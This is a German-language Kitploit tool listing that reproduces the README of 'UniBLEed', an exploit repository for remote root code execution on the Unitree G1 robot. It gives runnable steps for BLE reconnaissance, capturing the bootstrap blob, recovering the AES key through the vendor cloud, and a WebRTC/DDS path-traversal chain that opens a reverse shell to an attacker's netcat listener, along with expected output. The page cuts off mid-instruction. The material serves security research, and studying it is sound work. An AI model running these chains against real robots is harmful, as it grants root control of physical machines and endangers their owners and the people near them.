Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
UniBLEed — Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technische Details unter boschko.ca/g1-ble-rce/ | Kitploit
Tools/GitHubGitHub/olivierlaflamme/unibleed
Bluetooth-SicherheitExploit-FrameworksIoT-SicherheitSchwachstellenanalyseExploitationPenetrationstestsHardware- & IoT-Sicherheit
GitHubolivierlaflamme/unibleed

UniBLEed

Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technische Details unter boschko.ca/g1-ble-rce/

Repository anzeigen
849vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

UniBLEed Pixel-Logo

UniBLEed

Unitree G1 RCE PoC & Skripte (CVE-2026-76639 / CVE-2026-76640), technische Details unter boschko.ca/g1-ble-rce/

Verwende dieses Repository nur mit Robotern, Konten und Netzwerken, für deren Test du autorisiert bist. Die aktiven Chains können die WiFi-Konfiguration des Roboters ändern, Dienste stoppen oder neu starten, btgatt-server zum Absturz bringen und Befehle als root ausführen.

Repository-Übersicht

PfadInhalt
ble-scanningBLE-Discovery, Enumeration nicht gepaarter GATT-Dienste, Ermittlung der Seriennummer und Erfassung verschlüsselter Bootstrap-Blobs
cloud-oracleReproduktion des historischen Key-Recovery-Ablaufs über /device/bindExtData
chatgo-bashrunner-rceWebRTC-verpackte DDS-Path-Traversal- und bashrunner-Befehlsausführungs-Chain
pure-dds-rceDieselbe DDS-Dienst-Chain, direkt mit nativem Cyclone DDS implementiert
ble-full-chain-rceAktive BLE-zu-root-Chain: Bootstrap, Cloud-Key-Recovery, WiFi-Provisionierung, PIE-Disclosure und BSS-Overflow
scanning-toolsLow-Level-Dienstprogramme für BLE, DDS, WebRTC und Dienst-Enumeration, die während der Recherche verwendet wurden
ble-bss-overflow.htmlInteraktive Schritt-für-Schritt-Erklärung des 1.050-Byte-BSS-Overflows in btgatt-server

Werte wie 0xF1 und 0xF2 sind Opcodes des BLE-Wire-Protokolls. Es handelt sich nicht um Fundnummern.

Die Namen entsprechen den ausgelieferten Komponenten: btgatt-server ist der verwundbare BLE-Prozess, während chat_go und bashrunner Unitree-Dienst- bzw. Modulnamen sind. Die native Proof-of-Concept-Executable in diesem Repository heißt loco_rce.

Einrichtung

Python 3.11 oder neuer wird empfohlen.

Die folgenden Befehlsbeispiele beginnen im Repository-Stammverzeichnis. Beispiele mit abgefragten Shell-Variablen verwenden Bash-Syntax.

git clone <repository-url>
cd githubunitreepoc

python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt

Der BLE-Zugriff hängt von der Host-Plattform ab. Unter macOS sind die von Bleak ausgegebenen Adressen CoreBluetooth-UUIDs und keine Over-the-Air-MAC-Adressen.

1. BLE-Aufklärung und Bootstrap-Erfassung

Diese Hilfsprogramme erfordern physische BLE-Nähe, aber kein Unitree-Konto, keinen AES-Schlüssel und keine vorherige Kopplung.

Zählen Sie die exponierten GATT-Dienste und Charakteristik-Berechtigungen des G1 auf:

python3 ble-scanning/01_ble_gatt_enum.py

Stellen Sie die Seriennummer des Roboters wieder her:

python3 ble-scanning/discover_sn.py --timeout 30

discover_sn.py prüft zuerst die BLE-Herstellerdaten. Wenn die Advertisement keine Seriennummer enthält, stellt es eine Verbindung her und versucht die Klartext-Anfrage 0xF1. Fügen Sie --passive-only hinzu, um diesen verbundenen Fallback zu deaktivieren.

Erfassen Sie den RSA-verschlüsselten 0xF2-Bootstrap-Blob und speichern Sie ihn für den Cloud-Recovery-Schritt:

python3 ble-scanning/02_ble_bootstrap.py \
  --output ble-scanning/bootstrap-blob.txt

Die typische Ausgabe ist hier bewusst verkürzt dargestellt:

Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt

Der Blob ist Chiffrat, nicht der Klartext-AES-Schlüssel.

2. Cloud-Bootstrap-Key-Wiederherstellung

cloud-oracle/03_cloud_oracle.py reproduziert den historischen Key-Recovery-Ablauf der App:

  1. Bei Unitrees Cloud authentifizieren.
  2. Den öffentlichen Cloud-RSA-Schlüssel von GET /system/pubKey abrufen.
  3. Die Roboter-Seriennummer verschlüsseln.
  4. Die Seriennummer und den BLE-Bootstrap-Blob an POST /device/bindExtData übermitteln.

Aktuelle Server können die Roboter-Eigentümerschaft erzwingen. Verwenden Sie ein Konto, das für den Zielroboter autorisiert ist.

Führen Sie das Hilfsskript aus und beantworten Sie dessen Eingabeaufforderungen:

python3 cloud-oracle/03_cloud_oracle.py --show-http --redact

Es fragt nach dem Konto, der Roboter-Seriennummer und dem Pfad zum Bootstrap-Blob. Verwende ble-scanning/bootstrap-blob.txt für die oben erstellte Datei. --redact blendet das Zugriffstoken und den wiederhergestellten AES-Schlüssel in der ausgegebenen curl-Reproduktion aus, wodurch die Ausgabe sicherer weitergegeben werden kann.

Für einen privaten Lauf, der den wiederhergestellten Schlüssel ausgibt, lasse --redact weg:

python3 cloud-oracle/03_cloud_oracle.py

Geben Sie keine Zugriffstoken, Kontoanmeldedaten, Roboterschlüssel, Seriennummern oder erfasste Blobs in Issues oder veröffentlichten Terminal-Transkripten ein.

3. WebRTC/DDS chat_go → bashrunner-Kette

Dieses PoC erreicht die DDS-Dienste des Roboters über seinen WebRTC-Datenkanal. Es erfordert den AES-128-Schlüssel des Zielroboters und einen Host, der mit dem internen Ethernet-Netzwerk des Roboters verbunden ist.

Konfigurieren Sie die Host-Schnittstelle entsprechend für das Testnetzwerk. Das PoC verwendet standardmäßig den Roboter 192.168.123.161 und die Callback-Adresse 192.168.123.55.

Starten Sie im ersten Terminal einen Listener:

nc -lv 4444

Im zweiten Terminal geben Sie den 32-stelligen hexadezimalen AES-Schlüssel an, ohne ihn im Repository zu committen, und führen dann die Kette aus:

read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY

python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
  <callback-ip> 4444

Expected output:

[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done

Die abschließende DDS-Anfrage kann eine Zeitüberschreitung erleiden, weil das Neustarten oder Ausführen des Zieldienstes den Antwortpfad unterbricht. Bestätigen Sie den Erfolg stattdessen über den Listener, anstatt diese Zeitüberschreitung allein als Fehlschlag zu werten.

Löschen Sie die Shell-Variable, wenn Sie fertig sind:

unset UNITREE_AES_KEY

4. Native Cyclone-DDS-Kette

Der native Client tritt DDS-Domain 0 direkt bei. Er verwendet weder WebRTC noch den AES-Schlüssel des Roboters.

Die mitgelieferte ausführbare Datei pure-dds-rce/prebuilt_aarch64/loco_rce und die Cyclone-DDS-Laufzeitumgebung sind für Linux AArch64 bestimmt. Die ausführbare Datei ist gegen libddsc.so.11 gelinkt; das Repository enthält diesen Symlink und sein Ziel libddsc.so.11.0.1.

Auf einem AArch64-Linux-Host, der mit dem internen Ethernet-Netzwerk des Roboters verbunden ist:

Der Launcher entfernt die vorhandenen Adressen von UNITREE_IFACE, bevor er UNITREE_LOCAL_CIDR zuweist. Verwenden Sie eine dedizierte Labor-Schnittstelle und prüfen Sie den Schnittstellennamen sorgfältig, bevor Sie ihn ausführen.

./pure-dds-rce/run_exploit_c.sh

Führen Sie einen anderen Befehl aus, indem Sie ein Argument in Anführungszeichen angeben:

Tool herunterladen